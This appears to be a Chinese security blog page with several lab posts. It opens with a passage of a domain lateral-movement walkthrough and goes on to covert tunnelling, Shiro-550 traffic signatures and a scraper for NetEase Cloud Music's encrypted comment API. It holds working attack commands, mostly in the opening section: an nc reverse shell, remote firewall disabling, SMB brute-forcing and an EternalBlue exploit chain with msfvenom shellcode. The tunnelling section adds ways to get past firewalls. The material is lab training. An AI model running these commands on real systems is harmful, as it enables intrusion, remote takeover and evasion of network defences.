\WIN-ENS2VR5TR3Ndir \\WIN-ENS2VR5TR3N\c$将一个脚本拷贝到域主机上去copy C:\nc.exe \\WIN-ENS2VR5TR3N\c$\nc.exe创建执行任务,关闭防火墙sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \\WIN-ENS2VR5TR3N start unablefirewall第一种上线上线方法:创建nc反弹shell上线sc \\WIN-ENS2VR5TR3N create ncshell binpath= "c:\nc.exe 192.168.183.129 1234 -e cmd"sc \\WIN-ENS2VR5TR3N start ncshell第二种方法:添加计划任务上线shell at \\192.168.138.138 22:10:00 c:\win7beacon.exe放行3389端口netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389修改注册表,设置允许远程登录reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fshutdown /r /t 0域内SMB爆破proxychains hydra -l Administrator -P pass.txt \-s 445 -t 4 -vV -m "SMB" \smb://192.168.138.138创建计划任务执行命令shell at \\192.168.93.20 23:16:00 'netsh advfirewall set allprofiles state off'windows渗透手工干永恒之蓝,脚本利用以及shellcode生成和使用git clone https://github.com/worawit/MS17-010.gitnasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.binnasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.binMSFvenom -p windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.93.100 --platform windows -a x64 --format raw -o sc_x64_payload.binMSFvenom -p windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform windows -a x86 --format raw -o sc_x86_payload.bincat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bincat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.binpython eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.binproxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin域这块就差不多学了这么多,还有补充的话,欢迎师傅们留言遇到的一些问题1、ssh连接排错方案ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130# Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dssssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsassh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131此处省略1w字,暂时就这么多往期推荐【内网渗透】隐藏通信隧道技术内网渗透,流量转发Linux内网渗透(2w字超详细)AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备,microsocks,一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细大型翻车现场,十种WAF绕过姿势,仅成功一种喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
2025年06月14日
1,140 阅读
0 评论
0 点赞
2025-06-14
【内网渗透】隐藏通信隧道技术,牢饭直通车
前言最近一直在学如何在渗透测试中隐藏自己的渗透行为,参考了freebuf大佬secur1ty 作者的文章,特意写下了本篇文章隐藏通信隧道技术概述为什么需要?在内网渗透测试中,隐藏通信隧道技术那可是“生存必备技能”。想象一下,内网就像个有超严门禁的小区,各种边界设备和入侵检测装置就是那尽职的保安,啥都想拦。隐藏通信隧道技术就是潜入小区的“秘密通道”,帮我们轻松绕过保安,实现内网和外网间的数据传输。这可是保障渗透测试顺利进行的关键,不然后续的信息收集、漏洞利用啥的都得“凉凉”,这技术学的好,牢饭吃的饱(牢饭也很香)常见隧道网络层:IPV6隧道、ICMP隧道传输层:TCP隧道、UDP隧道、端口转发应用层:SSH隧道、HTTP(S)隧道、DNS隧道接下来将从三种隧道中各选集中进行试验常见隧道分类及工具网络层IPV6 隧道工具:6tunnel(kali自带)目标机:winserver 10,需先开启IPV6并查看地址。攻击机操作:使用6tunnel命令将目标机的80端口(IPV6地址)转发到本机80端口(IPV4地址),实现访问本机80端口即可访问目标机web服务首先我们需要打开目标机器的ipv6(在目标没有开启的情况下)那么我们关闭之后看看区别这里只是看看效果奥,还是需要重新打开的,下面是我的ipv6地址fe80::bc82:bd9c:bf05:15fe%6随后我们在80端口开启一个http服务用于模拟web应用程序python3 -m http.serverkali安装6tunnelapt install 6tunnel之后我们需要先关闭目标机器的防火墙查看我们的kali的网卡名称,与目标的ipv6地址进行拼接,注意区分那个百分号前后内容,这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口尚(本机使用IPV4地址)6tunnel -4 80 fe80::bc82:bd9c:bf05:15fe%eth0 80完整命令如下,转发成功后,访问我们的目标机器以及kaili的80端口,发现显示的结果是一样的,这时候就已经转发成功了ICMP隧道相关学习文章:【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS通常来说,两台主机通信时,必须开启特定端口,像SSH用22端口、RDP用3389端口。但要是用上ICMP隧道,那可就省事多了,根本不需要开放其他端口。ICMP隧道简单又实用。在渗透测试里,要是防火墙把HTTP、HTTPS、DNS这些常用协议的数据包都给封了,咱就可以瞅准网管容易忽视的ICMP协议。只要把TCP数据包往ICMP数据包里一装,要是防火墙不对ICMP包拦截,那突破防火墙就成了一件轻松的事。工具1:icmpsh安装:需要先安装python的impacket类库,可以通过apt-get或从github下载源码安装git clone https://gitee.com/WeiyiGeek/icmpshell.git在使用该工具的时候可能会遇到一些错误(kali系统)这个错误,是代码错误,写法不是这样写的,需要修改一下这个run.sh接下来你还会遇到一个错误,那是因为你执行这个py脚本的时候使用的python3,而不是python2,这个工具使用python2写的,所以需要进行修改继续修改这个run.sh,找到这一行由于icmpsh要代替系统本身的ping应答,所以要关闭一下系统的ping应答,否则工具将无法稳定运行sysctl -w net.ipv4.icmp_echo_ignore_all=1随后执行如下命令(建议自行摸索,适合我的不一定适合师傅你们,我搞了一个下午)sudo apt updatesudo apt install python2 -ysudo apt install python2-dev libssl-dev libffi-dev -ycurl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.pysudo python2 get-pip.pypython2 -m pip install --upgrade "pip==20.3"pip2 install "impacket==0.9.24" "pyOpenSSL<=18.0.0" "pyasn1<0.5" "pycryptodomex<=3.4.3"此时就能够正常运行啦,依次输入攻击机IP和受害机IP便会自动输出需要在受害机上的命令(上图的下方绿色框内),命令如下icmpsh.exe -t 192.168.110.128 -d 500 -b 30 -s 128执行上面命令之前需要将icmpsh.exe上传到靶机上(kali:python -m http.server)其次需要配置防火墙出站规则所有端口不允许出网(上不了网,包括内网中tcp也互相访问不了,只能ping通)选择tcp,和所有远程端口阻止连接我们阻止全部的tcp连接,此时也能够正常上线在我们关闭这个tcp的所有端口出站规则后,就怎么也反弹不成功了重新打开防火墙的出站规则页面,我们设置好允许tcp出站,没过一会儿就上线了流量分析结果如下同理使用工具2:pingtunnel,教学如下【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS传输层1.端口转发工具:lcx下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip首先kali和靶机都执行如下命令# windows靶机lcx.exe -slave 192.168.110.128(攻击机IP) 4444 127.0.0.1 3389# kali./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555输入正确的用户名和密码,就会显示这个界面,注意连接的是kali的IP和转发后的端口,以此来验证端口转发成功通过端口转发,连接到windows靶机2、内网代理相关的学习文章:vulnerable_docker,三种代理方法打入内网2025最新教程,使用雷池搭建内网靶场,进行简单的WAF绕过雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器,教科书级别教学内网渗透必备,microsocks,一个轻量级的socks代理工具应用层1、SSH基本上,所有的 Unix/Linux 主机都支持 SSH 协议,而且大家都能用它来通信。在实际场景里,网管们经常靠 SSH 连接远程管理内网主机,所以边界设备一般不会拦 SSH 流量。再说了,SSH 流量是加密的,普通的入侵检测工具很难发现里面有什么异常。这就让渗透测试人员有了机会,能用 SSH 搭起别的隧道很难搞定的 TCP 通信隧道。SSH常见参数-C 压缩传输-f 后台执行SSH-N 建立静默连接-g 允许远程主机连接本地用于转发的端口-L 本地端口转发-R 远程端口转发-D 动态转发-P 指定SSH端口(1).本地转发实验环境:攻击机无法访问靶机内网,可以访问靶机的web,且已获得web服务器的权限,web服务器和内网服务器能互相访问实验目标:通过本地端口转发,访问攻击机本地的2021端口便可以打开靶机的远程桌面首先在已经连上得kali上执行ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128# 132是靶机,128是kali# 解释:这条命令的作用,在攻击机上建立一个本地ssh服务器的ssh隧道# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口# 重点如下:# 这样,当你在本地机器上访问攻击机本地的2021端口时,实际上访问的是远程主机192.168.110.132的3389端口这里输入的是kali的密码,而不是web服务器的密码奥netstat -tulnp | grep "2021" # 进一步验证是否开启了转发功能尝试使用攻击机也就是本机的远程桌面连接kali的7890端口直接连接成功(2).远程转发这节的网络结构可能有所变化,不同的参照物,理解起来也不同,所以特意列出来了(之前攻击机都是kali,靶机是这里的内网服务器,本机是本机)结构如下:kali作为web服务器(模拟公网服务器) 192.168.110.128本机作为攻击机 192.168.110.1内网服务器 192.168.168.132实验环境:攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机实验目标:通过访问攻击机也就是本机的7890端口来访问对方内网服务器的3389端口在web服务器(kali)上执行ssh -CfNg -R 7890:192.168.110.132:3389 kali@192.168.110.128然而这个时候,本机却连不上了,也就是攻击机器,访问不了kali这个web服务器(却获得了kali的web服务器权限,就可以用-R参数)(3).动态转发,SOCKS搭建关于SOCKS的搭建还可以参考我写的这一篇文章:内网渗透必备,microsocks,一个轻量级的socks代理工具ssh -CfNg -D 6000 kali@192.168.110.128我们打开这个插件,如果没有插件的话可以找我这篇文章自取:【渗透测试】16个实用谷歌浏览器插件分享配置好kali的IP地址和ssh开启的端口点击连接kali代理,此时成功配置代理访问百度或者对方的内网靶机2、HTTP / HTTPS隧道这里介绍一种常用的工具 reGeorg ,使用教学:vulnerable_docker,三种代理方法打入内网3、SOCKS代理常见工具:EarthWorm、SocksCap64、ProxyChains至此感谢师傅们愿意花这点时间看完,谢谢!参考:https://longyusec.com/longyushoulu/52/https://longyusec.com/longyushoulu/46/https://longyusec.com/longyushoulu/331/https://www.freebuf.com/articles/network/275436.html相关的学习文章推荐:内网渗透,流量转发Linux内网渗透(2w字超详细)AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备,microsocks,一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细大型翻车现场,十种WAF绕过姿势,仅成功一种喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透一个永久的渗透知识库
2025年06月14日
1,294 阅读
0 评论
0 点赞
2025-05-18
java框架Shiro流量分析-面试必备
前言靶场:https://vulfocus.cn/Shiro(Apache Shiro)是一个强大且灵活的开源安全框架,专为Java应用程序提供安全性解决方案。它由Apache基金会开发和维护,广泛应用于企业级应用程序和Web应用程序中。Shiro的设计目标是简化应用程序的安全性配置和开发过程,提供易于使用的API和丰富的功能。本文主要介绍了Java框架Shiro和shiro工具的流量特征,以及Shiro-550漏洞的复现CVE-2016-4437登录界面正常的流量包返回包set-Cookie⾥没有 deleteMe字段的,返回包甚至都没有set-Cookie登录失败的流量特征看到一个结果抓包,输入错误的密码,他就会返回一个rememberMe=deleteMe,那么百分百是shiro框架,不管是否勾选记住密码,返回包都会有rememberMe=deleteMe字 段登录成功的流量特征这时候再去请求别的页面就会有这个cookie特征,未登陆的情况下,请求包的cookie中没有rememberMe字段没有登录的情况下,请求包的cookie中没有rememberMe字段,返回set-Cookie也没有deleteMe字段不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe 字段。但是之后的所有请求中Cookie都不会有rememberMe字段勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字 段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段工具爆破的流量特征工具的第一步就是去判断网站是否使用了shiro框架,开始之前,先设置工具代理,把流量转发到burp suite就可以得到如下数据包,它添加了一个Cookie: rememberMe=yes看看返回数据包,他也有一个Set-Cookie:rememberMe,也就是登录失败,通过这个值来判断是否是shiro框架密匙爆破流量分析,当成功之后就会有一个设置一个cookie:rememberMe发送请求,爆破成功的set-cookie就没有rememberMe的值我在cookie中随便添加几个字母/数字,他也会提示Set-Cookie: rememberMe=deleteMe,密匙爆破失败成功后,还不能直接获得webshell,还需要爆破利用链和回显利用链爆破流量分析如果在秘钥正确的情况下,进行利用链爆破利用链爆破失败流量和密匙/浏览器登录流量一样,只要登录/爆破失败就会返回一个Set-Cookie:rememberMe=deleteMe利用链爆破成功流量当cookie非常长的时候。如果在研判 中发现cookie非常长,并且返回包状态码为200,那就要考虑网站是否被入侵了!成功之后才能执行系统命令,获取flag系统命令流量分析执行命令时候的流量特征就是,rememberme 非常长,并且返回值是加密的,执行命令ls,在响应包中会出现三个$ls -a注入内存马流量上传蚁剑一句话马上传的过程流量正常连接
2025年05月18日
972 阅读
0 评论
0 点赞
2025-05-18
python爬虫,网易云js逆向代码分析
前言本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!阅读本篇文章,需要一定的爬虫基础,和js逆向思维,否则无法继续首先找到一个歌单找到这个api接口api传参为这两个找到启动器发现这两个参数和刚刚api接口是一模一样的,那么大概率源码就在这里打断点,分析加密参数刷新页面,已经卡在这里了分析每个api参数X1x为后端api地址i1x为csrf_tokene1x为请求方式,该值为post我们的目标是抓取歌单评论信息,一直放行,直到这个接口分析这个参数,如下分析rid:A_PL_0_3865036,这后面的就是歌单id,threadId:A_PL_0_3865036,后面也是歌单id信息,后面的参数基本没用了,页面大小,偏移量和歌单属性那么就可以得到python代码向后端传的参数为这个def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data=data, headers=headers) print(resp.text) 但是呢没有任何响应结果,说明参数加密了 对比源参数即可看到,这些值都是乱码,显然是进行了加密的那么就要找js的加密节点,怎么找?回到这个界面把这段代码复制下来仔细分析var bVi3x = window.asrsea(JSON.stringify(i1x), bse0x(["流泪", "强"]), bse0x(Qu1x.md), bse0x(["爱心", "女孩", "惊恐", "大笑"])); 分别对应如下值这里我们就得到了每个参数的值使用变量进行替换# 服务于函数d g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) 再放行,找到加密节点鼠标移动到这里,即可看到,使用了一个方法,方法名称叫 d即可看到这样一串代码贴上源码!function() { function a(a) { var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = ""; for (d = 0; a > d; d += 1) e = Math.random() * b.length, e = Math.floor(e), c += b.charAt(e); return c } function b(a, b) { var c = CryptoJS.enc.Utf8.parse(b) , d = CryptoJS.enc.Utf8.parse("0102030405060708") // AES加密算法中需要的偏移量 , e = CryptoJS.enc.Utf8.parse(a) , f = CryptoJS.AES.encrypt(e, c, { iv: d, mode: CryptoJS.mode.CBC }); return f.toString() } function c(a, b, c) { var d, e; return setMaxDigits(131), d = new RSAKeyPair(b,"",c), e = encryptedString(d, a) } function d(d, e, f, g) { var h = {} , i = a(16); return h.encText = b(d, g), h.encText = b(h.encText, i), h.encSecKey = c(i, e, f), h } function e(a, b, d, e) { var f = {}; return f.encText = c(a + e, b, d), f } window.asrsea = d, window.ecnonasr = e }(); 仔细分析AES加密特征,打断点放行打印这些值此时即可得到参数 i ,如果你多次执行就会发现这个 i 值是变化的,调用的是a函数传了个16a 函数这就是一个随机计算结果,可以直接定死而 i 已经定死了,i = "2l8EuJuvLirixMmc" ,这里我执行了第二遍,就用我第二遍的 i 值,得到了已有的值g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 偏移量之前已经在js代码的b函数找到了,这张图就可以很清楚的看到解密后的值就是 h.encText 的值发现这个函数是RSA加密,我们已经得到了这个值,由上图可以看到,i 值为偏移量,e为 010001,f 未知,那么就先放一放查看这个参数,断点记得放行查看值这样就能得到encSecKey的值,分析得到python逆向代码def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密,相当于 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): # pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): # 相当于js中的b(a, b)函数 iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 此时将刚刚没有任何结果的代码进行传参即可,半成品代码如下import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 设置好已知的值 g = "0CoJUm6Qyw8W8jud" # bse0x(["爱心", "女孩", "惊恐", "大笑"]) f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" # bse0x(["流泪", "强"]) i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) if __name__ == '__main__': get_data() 完整数据清洗后的代码import random import json from base64 import b64encode from Crypto.Cipher import AES # pip install pycryptodome import requests # 服务于函数d g = "0CoJUm6Qyw8W8jud" f = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7" e = "010001" i = "2l8EuJuvLirixMmc" # 手动固定,函数中是随机的 def get_encSecKey(): # 由于i是固定的,所以经过c函数输出的encSecKey也是固定的 return "288bca7fd6e42e24d4549f155b4eb6317ba323b914c9ee8aaccb786cabcd27773aea34d9413b8902f3a1a86e50863cec7e1f872092585cddd432951f210ae078e2f2c6b486c83c210820d5c09c73e2d3f225401ce1f5543f7a6f903c7bdc65b8ea27894c0299f52d801f05aaa6ec61e34082bec0135b9c74dabcabd1e1dba1ab" # 把参数进行加密 def get_params(data): # 默认收到的是字符串 first = enc_paramas(data, g) # 第一次加密,再将第二次结果与i一起加密 second = enc_paramas(first, i) # 第二次加密 return second # 返回的就是paramas # 将数据长度转化为16的倍数, 为下面加密服务 def to_16(data): pad = 16 - len(data) % 16 data += chr(pad) * pad return data def enc_paramas(data, key): iv = "0102030405060708" # AES加密算法中需要的偏移量 data = to_16(data) aes = AES.new(key=key.encode('utf-8'), IV=iv.encode('utf-8'), mode=AES.MODE_CBC) # 创建加密器 bs = aes.encrypt(data.encode('utf-8')) # 加密,加密的长度必须是16的倍数,”123456789abcchr(4)chr(4)chr(4)chr(4)" return str(b64encode(bs), "utf-8") # 转化成字符串 def get_data(): id=3865036 # 歌单id url = "https://music.163.com/weapi/comment/resource/comments/get" data = { 'csrf_token': "", "cursor": "-1", # 0为精彩评论,-1为最新评论 "offset": "0", "orderType": "1", "pageNo": "1", "pageSize": "20", "rid": f"A_PL_0_{id}", "threadId": f"A_PL_0_{id}" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36' } resp = requests.post(url, data={ "params": get_params(json.dumps(data)), # 通过函数的加密得到服务器需要的params参数 "encSecKey": get_encSecKey() }, headers=headers) print(resp.text) dict = json.loads(resp.text) # 将得到的内容转化为字典模式 user_obj = dict['data']['hotComments'] comment_data = [] comment_sum = dict['data']['totalCount'] if not user_obj: user_obj = dict['data']['comments'] for _ in user_obj: content = _['content'] nickname = _['user']['nickname'] photo = _['user']['avatarUrl'] timeStr = _['timeStr'] like_count = _['likedCount'] addres = _['ipLocation']['location'] list = { 'nickname': nickname, 'content': content, 'photo': photo, 'timeStr': timeStr, 'addres': addres, 'like_count': like_count, 'com_count': comment_sum } comment_data.append(list) print(comment_data) if __name__ == '__main__': get_data() 得到评论结果其他api接口也是如此,还可以搞一个扫码登录的,下面是我23年8月写的项目项目推荐这是我写的一个完整的爬虫django项目,集成了网易云扫码登录,歌单信息,歌曲/歌单评论,歌单收藏,歌曲播放等等运用了aiohttp异步爬虫,requests库,IP池,线程池,redis,中间件mysql数据库,等等等等,项目仅供学习使用,严禁商业用途!!!!记得点个关注,感谢扫码登录网易云首页我的首页歌单列表源列表评论歌曲播放效果。。。。。。。总结本文章中所有内容仅供学习交流,严禁用于商业用途和非法用途,否则由此产生的一切后果均与文章作者无关,若有侵权,请联系我立即删除!,重要的事儿说三遍!!!
2025年05月18日
931 阅读
0 评论
0 点赞
1
...
4
5
6
...
14